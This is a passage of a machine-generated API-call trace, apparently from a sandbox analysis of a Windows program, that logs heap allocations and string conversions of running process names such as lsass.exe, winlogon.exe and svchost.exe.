(HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8440 [0038.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8440) returned 1 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8440 [0038.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8440) returned 1 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eafb8 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ea60 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8440 [0038.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0x9d8368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winlogon.exe", lpUsedDefaultChar=0x0) returned 12 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8488 [0038.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8488) returned 1 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8488 [0038.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8488) returned 1 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb018 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94eae8 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8488 [0038.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0x9d8368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services.exe", lpUsedDefaultChar=0x0) returned 12 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d84d0 [0038.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d84d0) returned 1 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d84d0 [0038.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d84d0) returned 1 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb078 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94eb70 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d84d0 [0038.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x9d8368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8518 [0038.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8518) returned 1 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8518 [0038.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8518) returned 1 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb0d8 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ebf8 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8518 [0038.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0x9d8368, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsm.exe", lpUsedDefaultChar=0x0) returned 7 [0038.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8560 [0038.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8560) returned 1 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8560 [0038.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8560) returned 1 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb138 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ec80 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8560 [0038.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9d8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d85a8 [0038.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d85a8) returned 1 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d85a8 [0038.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d85a8) returned 1 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb198 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ed08 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d85a8 [0038.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9d8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d85f0 [0038.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d85f0) returned 1 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d85f0 [0038.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d85f0) returned 1 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb1f8 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ed90 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d85f0 [0038.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9d8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8638 [0038.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8638) returned 1 [0038.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8638 [0038.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8638) returned 1 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb258 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ee18 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8638 [0038.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9d8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8680 [0038.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8680) returned 1 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8680 [0038.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8680) returned 1 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb2b8 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94eea0 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8680 [0038.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9d8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d86c8 [0038.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d86c8) returned 1 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d86c8 [0038.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d86c8) returned 1 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb318 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ef28 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d86c8 [0038.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0x9d8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodg.exe", lpUsedDefaultChar=0x0) returned 11 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8710 [0038.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8710) returned 1 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8710 [0038.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8710) returned 1 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb378 [0038.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94efb0 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8710 [0038.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9d8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8758 [0038.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8758) returned 1 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8758 [0038.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8758) returned 1 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb3d8 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f038 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8758 [0038.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9d8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87a0 [0038.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87a0) returned 1 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87a0 [0038.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87a0) returned 1 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eb438 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f0c0 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87a0 [0038.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0x9d8368, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwm.exe", lpUsedDefaultChar=0x0) returned 7 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0038.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8320) returned 1 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2868 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f1d0 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8320 [0038.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0x9d87e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer.exe", lpUsedDefaultChar=0x0) returned 12 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d28c8 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x9d87e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe", lpUsedDefaultChar=0x0) returned 11 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8830 [0038.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8830) returned 1 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8830 [0038.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8830) returned 1 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2928 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0038.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8830 [0038.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x9d87e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exe", lpUsedDefaultChar=0x0) returned 12 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8878 [0038.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8878) returned 1 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8878 [0038.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8878) returned 1 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2988 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8878 [0038.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9d87e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d88c0 [0038.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d88c0) returned 1 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d88c0 [0038.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d88c0) returned 1 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d29e8 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f3f0 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d88c0 [0038.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskeng.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskeng.exe", cchWideChar=11, lpMultiByteStr=0x9d87e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskeng.exe", lpUsedDefaultChar=0x0) returned 11 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8908 [0038.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8908) returned 1 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8908 [0038.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8908) returned 1 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2a48 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 